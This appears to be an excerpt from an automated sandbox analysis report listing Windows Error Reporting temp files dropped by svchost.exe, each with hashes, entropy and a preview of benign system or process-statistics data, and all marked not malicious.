R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD2D5.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.695801999701486
Encrypted:	false
SSDEEP:	96:TiZYWBJbGKYdYBGqHGYEZa9AtAik4WlS+wKQkcDai9O8aMaOe7XIt+QZ:2ZDp6u78ai9O8aMa58t+QZ
MD5:	6C967221E9D2A0838DE17F17E843F6A8
SHA1:	B4611008153E18439FFE62C5B78F9CBFD0CC5B36
SHA-256:	3EEBB1A8946C998F178F7F412E1F751DAC8574469F862B358F7863D19FDBD881
SHA-512:	42E1A27A557DB744CAB6DD0B4700919D0106866338439758CEC0ABA7502E51A0C781C1E3FDCB70EB6AA9E10EE992A77B8872A928D8B5AC6CAB3002A8338DD00C
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD52.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6983693199660466
Encrypted:	false
SSDEEP:	96:TiZYWGncYWqkYxYDGHHjYEZi3tAi/LglRw8j9fai9OMRMy7IiQZ:2ZD92OAxai9OM6y0iQZ
MD5:	AF4F06CE4758252F5B51E7B8C6E1B63D
SHA1:	6CC6A83BDEB5190DA13D39B3A08AC43A1C40E917
SHA-256:	74E64C48D8C4D6EB0208C63CF609757B2EE3F2DD793B3B0D4BB53350891405ED
SHA-512:	690CD53C1A1914303B333A6DC9E76F55E47E4177ABFA3C279847120DE35F3C00FE6A4CE24C7BDC118D9859F9EBA81F1759A8FF6EBE860CF8B8B6E89D66A3F7FE
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD557.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	88708
Entropy (8bit):	3.0751711769776398
Encrypted:	false
SSDEEP:	1536:WLkU4PQuRi859cc3IUaifq9rPSXl/wLYjsyWRsgLVfWksmg:WLkU4PQuRi859cc3IUaifq9rPSXl/wLG
MD5:	4E924E7D09C0F43FC3CB5370CC410EE3
SHA1:	09EC5438BA9F7E6EB2204C4869354CEED2154EC3
SHA-256:	DF237B9A5E0E917FD2B18FB1E4E5C245F784BC1C75C6F07FCF502F5FC746D98E
SHA-512:	BA71B952EAD94F2BF520E315ED7BBE0C9B506D1F6E511E8E72324033B05DCAED38F5E72FCC621D97CCA121269A68103F36794A1D7C14E53CF646C77A03FD6E62
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD5B5.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6956178645782223
Encrypted:	false
SSDEEP:	96:TiZYW6h1YUxZpY67YokGQQHGYEZgW+tAih4ClShw59AMxaI96kMuOeQIfQZ:2ZDqOaN73eQPaI95Mu5nfQZ
MD5:	675DDA87775D1E3DFAC4671C81D01DAF
SHA1:	38E2595283E2846EE098CBB23BBCE66BF55D4A9A
SHA-256:	3AF1ADCAF6ECDDF250F38E7C727B453E4438AC75B3470176C86FAA1928E629F4
SHA-512:	3415C10CE8E25C7503D752BACBA36C0C58B6A70434F1529BC8CDFA30D29CA90F7D2DF686AA3887F960D7E9BDB7EECD126ED44B1FC4B820F7C9133A7F720D7938
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD895.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	88712
Entropy (8bit):	3.0753990824778517
Encrypted:	false
SSDEEP:	1536:8kQ4PQuRi859cc3IEa5fq9rPSX1m0iYjsyWRsgLVqWkwe3x:8kQ4PQuRi859cc3IEa5fq9rPSX1m0i27
MD5:	A731D058659A1F2FE7C5D1F61D8DA7A2
SHA1:	12073FCA6C811DA21479E99B49A9EB1821FE6C49
SHA-256:	3A1955379204AC3B8E10A850CA98E293CA064072CE8151AFE7254059026899AB
SHA-512:	A06F2C259947F65D7439BA8C437273AD3BB48B3E7D9CDC5AB9E398C84F15A0B16C56D132FC3B220EC239E4708E4DBE0C1B08BE69E4BCA96E91D28A2BC275D77C
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD903.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.695684838820767
Encrypted:	false
SSDEEP:	96:TiZYWUZBh1/YrYpGQ16H5YEZXYqtAiv4TlSswUBB7aq90UKUSgMFOezIaQZ:2ZDG/82Hbaq9XMF58aQZ
MD5:	182638197A711B363B5352AAAC6E277C
SHA1:	271320C5038AC4165AEAA54BD4786D636B9302C5
SHA-256:	63605B94D71C764D489D41731C965FDD69C2364A49FC30D27562E3290D6C596C
SHA-512:	6544478B267692A350A2A5F2EAF9882F6C91FF39BAD2246F3287A543E9B243C902736391DFB4FBB4BB840551DC4B9CD358E8790660D356F1A861615B1A2F1EDB
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDB08.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	88716
Entropy (8bit):	3.075314808251428
Encrypted:	false
SSDEEP:	1536:dskAQ4PQuRi859cc3Iba5fq9rPSX1m0uYjsyWRsgLV0WkLjB:dskAQ4PQuRi859cc3Iba5fq9rPSX1m0T
MD5:	0B2F7D751AB981021678E317E82DED97
SHA1:	4F9392D94F7B40F443FF6AF9282F863C3009E1C5
SHA-256:	0D4BBDB5841BFF86D4778EA57358CDC2C32FBDE5EA76616EBD780B3BABD6DAAA
SHA-512:	DFD62B3F00B907EC42E41B298FC8DDE512E49787EE90473157E18309D6ED418C0C34BE700C7B7E515DB65D2329D1E725D1B9BCDBFB763885125628E593FB2343
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDB57.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6960230191173005
Encrypted:	false
SSDEEP:	96:TiZYWmQ41SVy9OYxYqGQlHH5YEZARmtAiW4plS1wcD4an9PuMaOe5IRQZ:2ZDmA72UV0an9WMa5mRQZ
MD5:	083E19FE46768279A7DF9B19B5D7956A
SHA1:	2F224B756EF53C44230CD9016DED12CCD9141F4C
SHA-256:	61A13D78E3C917D6911CBB545A3F4BC22CD17AE6AF3A9FA39073BE8FE2467815
SHA-512:	A414ED246CDB6579F847FE9EA0E5CCB983442EE86ABDF9FD1D7C169C2C82F985910BA30B4E8ACEA1126193467508A7F16E98765B47FB9AF084A0095EBB1C63B1
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDFAD.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	88716
Entropy (8bit):	3.075351430409132
Encrypted:	false
SSDEEP:	1536:UkB4PQuRi85ecc3I9aifq9rPSi/puYjsyWRsgLVPWkQtj/:UkB4PQuRi85ecc3I9aifq9rPSi/pu2sq
MD5:	16ED11E9EE766536C84D3EC1CB38DD63
SHA1:	F634FDDC0E2B2B451C5883B3439734E5D665F3DA
SHA-256:	D305D9E38BBDB9BDE1D190155B12A397BAD9DAE57915A4BCE37958CA7BC181AA
SHA-512:	3F014041616BAFC363FED1579AA7F7DBE5633617553620F7F937BFD3734D4CA5F5E11996D18430CFCEC88D91E7A3349B47CE17FBD94937D9012D7DDC791EE6A3
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE164.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6953768496545547
Encrypted:	false
SSDEEP:	96:TiZYWNxKla/OYvYzGW9H0YEZfptAiP4klSgw+ePZaL9epUMKOecIc+QZ:2ZD+IoUheBaL9jMK5bc+QZ
MD5:	30C4700797B481D3553DBF2DA55564B9
SHA1:	815FA42F42A052B990536EB1387CAB25ABC15C89
SHA-256:	8AA99D91B80EA3EAB48212F4AA2E5F3128F41E186321E58C468EEDA0331A58B9
SHA-512:	D33103503C9E2D50DF06C5F40BDB293A9679C10B800EB0503714263D18570354B11AEAE6C1808F2302861F932E4F700A2104E06C278FC4B9879A868CAA0D8EE4
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE712.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	88722
Entropy (8bit):	3.0752373540074402
Encrypted:	false
SSDEEP:	1536:okr4PQwRi85Bcc3IAaQfx9rPSiX+f3iOjsyWRsgLVGWkcaIl:okr4PQwRi85Bcc3IAaQfx9rPSiX+f3iv
MD5:	5CFA4BC611928B36B41827F46C0FEB85
SHA1:	781340C3EB66C457D2EF20EDE153A4F5ABE5A746
SHA-256:	22696E77BCC817C9A1A1260C745A589BBCBE52180BF925072E1613DC243FB181
SHA-512:	62CA39FEBE1E46AC4575895B307F0D494E5BDF76E057A00906DEB7EAD4A10B7A8F3E5A20B402614A0B29676F34B36B6DC872131E5AFB632C2BCC1F68A6D64C42
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE7BF.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6961888542935557
Encrypted:	false
SSDEEP:	96:TiZYWPx+mRXYYYcG0rH0YEZiQtAiL4blSEwjG+tau9eMgOeoIjQZ:2ZDHfdi5tau9eMg5PjQZ
MD5:	B64FB3B2ED0164AEFF67389BA5A500CC
SHA1:	7A058F103A6A27D8CF79C602B582400C2ED8023E
SHA-256:	326F79013BBA9BEDF884B83FFCB570A33F55A2C4E64EAA2CF382F46640D78010
SHA-512:	2170199B7453271609D5F1615E48766C790727DA573F681009B1D733914169380460E9B93F2BD7C2698B9EF0D9CD3E1B212342FE211119A79F2708E9708160CD
Malicious:	false
